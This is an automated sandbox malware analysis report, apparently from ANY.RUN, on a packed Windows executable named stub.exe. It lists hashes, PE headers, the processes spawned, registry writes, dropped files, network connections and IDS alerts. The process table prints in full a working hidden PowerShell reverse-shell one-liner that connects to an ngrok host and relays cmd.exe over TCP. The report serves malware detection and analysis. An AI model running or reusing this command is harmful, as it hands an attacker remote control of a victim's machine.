| File name: | stub.exe |
| Full analysis: | https://app.any.run/tasks/5587ed7e-567c-4d4f-9aad-74e75578dccd |
| Verdict: | Malicious activity |
| Analysis date: | September 30, 2020, 13:17:57 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Indicators: | |
| MIME: | application/x-dosexec |
| File info: | PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed |
| MD5: | 3DA19BB2E9C7482328A0045493A74130 |
| SHA1: | D4484452C3E0612E0EAA6C5BC4A46930A9B7BBEA |
| SHA256: | 771BAECF3C3BF2269FA78C5287B88DEC7BF1188359F6AF81D9C4C881347C2BD2 |
| SSDEEP: | 384:PlAtOTJMiOd+/X9GjcX/5PwxEVppNsp/x0C6aNJawcudoD7UEOk5/wLC4:Pl3lWdUM4FXYpaCLnbcuyD7UEOkGO4 |
MALICIOUS
Executes PowerShell scripts
- cmd.exe (PID: 2244)
Runs app for hidden code execution
- powershell.exe (PID: 2804)
SUSPICIOUS
Creates files in the user directory
- powershell.exe (PID: 2804)
Starts CMD.EXE for commands execution
- stub.exe (PID: 2644)
- powershell.exe (PID: 2804)
INFO
No info indicators.
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .exe | | | UPX compressed Win32 Executable (64.1) |
|---|---|---|
| .dll | | | Win32 Dynamic Link Library (generic) (15.5) |
| .exe | | | Win32 Executable (generic) (10.6) |
| .exe | | | Generic Win/DOS Executable (4.7) |
| .exe | | | DOS Executable Generic (4.7) |
EXIF
EXE
| MachineType: | Intel 386 or later, and compatibles |
|---|---|
| TimeStamp: | 2018:03:21 11:26:43+01:00 |
| PEType: | PE32 |
| LinkerVersion: | 2.5 |
| CodeSize: | 20480 |
| InitializedDataSize: | 4096 |
| UninitializedDataSize: | 36864 |
| EntryPoint: | 0xd570 |
| OSVersion: | 4 |
| ImageVersion: | - |
| SubsystemVersion: | 4 |
| Subsystem: | Windows GUI |
Summary
| Architecture: | IMAGE_FILE_MACHINE_I386 |
|---|---|
| Subsystem: | IMAGE_SUBSYSTEM_WINDOWS_GUI |
| Compilation Date: | 21-Mar-2018 10:26:43 |
| Detected languages: |
|
DOS Header
| Magic number: | MZ |
|---|---|
| Bytes on last page of file: | 0x0090 |
| Pages in file: | 0x0003 |
| Relocations: | 0x0000 |
| Size of header: | 0x0004 |
| Min extra paragraphs: | 0x0000 |
| Max extra paragraphs: | 0xFFFF |
| Initial SS value: | 0x0000 |
| Initial SP value: | 0x00B8 |
| Checksum: | 0x0000 |
| Initial IP value: | 0x0000 |
| Initial CS value: | 0x0000 |
| Overlay number: | 0x0000 |
| OEM identifier: | 0x0000 |
| OEM information: | 0x0000 |
| Address of NE header: | 0x00000080 |
PE Headers
| Signature: | PE |
|---|---|
| Machine: | IMAGE_FILE_MACHINE_I386 |
| Number of sections: | 3 |
| Time date stamp: | 21-Mar-2018 10:26:43 |
| Pointer to Symbol Table: | 0x00000000 |
| Number of symbols: | 0 |
| Size of Optional Header: | 0x00E0 |
| Characteristics: |
|
Sections
Name | Virtual Address | Virtual Size | Raw Size | Charateristics | Entropy |
|---|---|---|---|---|---|
UPX0 | 0x00001000 | 0x00009000 | 0x00000000 | IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 0 |
UPX1 | 0x0000A000 | 0x00005000 | 0x00004200 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 7.84458 |
.rsrc | 0x0000F000 | 0x00001000 | 0x00000600 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 5.08138 |
Resources
Title | Entropy | Size | Codepage | Language | Type |
|---|---|---|---|---|---|
1 | 4.8674 | 874 | UNKNOWN | English - United States | RT_MANIFEST |
Imports
COMCTL32.DLL |
GDI32.DLL |
KERNEL32.DLL |
MSVCRT.dll |
OLE32.DLL |
SHELL32.DLL |
SHLWAPI.DLL |
USER32.DLL |
WINMM.DLL |
Total processes
41
Monitored processes
5
Malicious processes
2
Suspicious processes
1
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 2100 | "C:\Users\admin\AppData\Local\Temp\stub.exe" | C:\Users\admin\AppData\Local\Temp\stub.exe | — | explorer.exe | |||||||||||
User: admin Integrity Level: MEDIUM Exit code: 3221226540 Modules
| |||||||||||||||
| 2244 | "C:\Windows\system32\cmd.exe" /c "C:\Users\admin\AppData\Local\Temp\1\AF3C.tmp.bat C:\Users\admin\AppData\Local\Temp\stub.exe" | C:\Windows\system32\cmd.exe | — | stub.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 2644 | "C:\Users\admin\AppData\Local\Temp\stub.exe" | C:\Users\admin\AppData\Local\Temp\stub.exe | explorer.exe | ||||||||||||
User: admin Integrity Level: HIGH Exit code: 0 Modules
| |||||||||||||||
| 2804 | powershell -w hidden -nop -c $a='2.tcp.ngrok.io';$b=11493;$c=New-Object system.net.sockets.tcpclient;$nb=New-Object System.Byte[] $c.ReceiveBufferSize;$ob=New-Object System.Byte[] 65536;$eb=New-Object System.Byte[] 65536;$e=new-object System.Text.UTF8Encoding;$p=New-Object System.Diagnostics.Process;$p.StartInfo.FileName='cmd.exe';$p.StartInfo.RedirectStandardInput=1;$p.StartInfo.RedirectStandardOutput=1;$p.StartInfo.RedirectStandardError=1;$p.StartInfo.UseShellExecute=0;$q=$p.Start();$is=$p.StandardInput;$os=$p.StandardOutput;$es=$p.StandardError;$osread=$os.BaseStream.BeginRead($ob, 0, $ob.Length, $null, $null);$esread=$es.BaseStream.BeginRead($eb, 0, $eb.Length, $null, $null);$c.connect($a,$b);$s=$c.GetStream();while ($true) { start-sleep -m 100; if ($osread.IsCompleted -and $osread.Result -ne 0) { $r=$os.BaseStream.EndRead($osread); $s.Write($ob,0,$r); $s.Flush(); $osread=$os.BaseStream.BeginRead($ob, 0, $ob.Length, $null, $null); } if ($esread.IsCompleted -and $esread.Result -ne 0) { $r=$es.BaseStream.EndRead($esread); $s.Write($eb,0,$r); $s.Flush(); $esread=$es.BaseStream.BeginRead($eb, 0, $eb.Length, $null, $null); } if ($s.DataAvailable) { $r=$s.Read($nb,0,$nb.Length); if ($r -lt 1) { break; } else { $str=$e.GetString($nb,0,$r); $is.write($str); } } if ($c.Connected -ne $true -or ($c.Client.Poll(1,[System.Net.Sockets.SelectMode]::SelectRead) -and $c.Client.Available -eq 0)) { break; } if ($p.ExitCode -ne $null) { break; }} | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3492 | "cmd.exe" | C:\Windows\system32\cmd.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
Total events
303
Read events
244
Write events
59
Delete events
0
Modification events
| (PID) Process: | (2644) stub.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
| (PID) Process: | (2644) stub.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | AutoDetect |
Value: 1 | |||
| (PID) Process: | (2804) powershell.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\13B\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
Executable files
0
Suspicious files
2
Text files
1
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2804 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\LMCWA83H2J9610G4EC0W.temp | — | |
MD5:— | SHA256:— | |||
| 2804 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:— | SHA256:— | |||
| 2644 | stub.exe | C:\Users\admin\AppData\Local\Temp\1\AF3C.tmp.bat | text | |
MD5:— | SHA256:— | |||
| 2804 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF1ab102.TMP | binary | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
1
DNS requests
1
Threats
2
HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2804 | powershell.exe | 3.131.147.49:11493 | 2.tcp.ngrok.io | — | US | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
2.tcp.ngrok.io |
| malicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
1052 | svchost.exe | Potential Corporate Privacy Violation | ET POLICY DNS Query to a *.ngrok domain (ngrok.io) |
2804 | powershell.exe | A Network Trojan was detected | SUSPICIOUS [PTsecurity] Metasploit Server Response |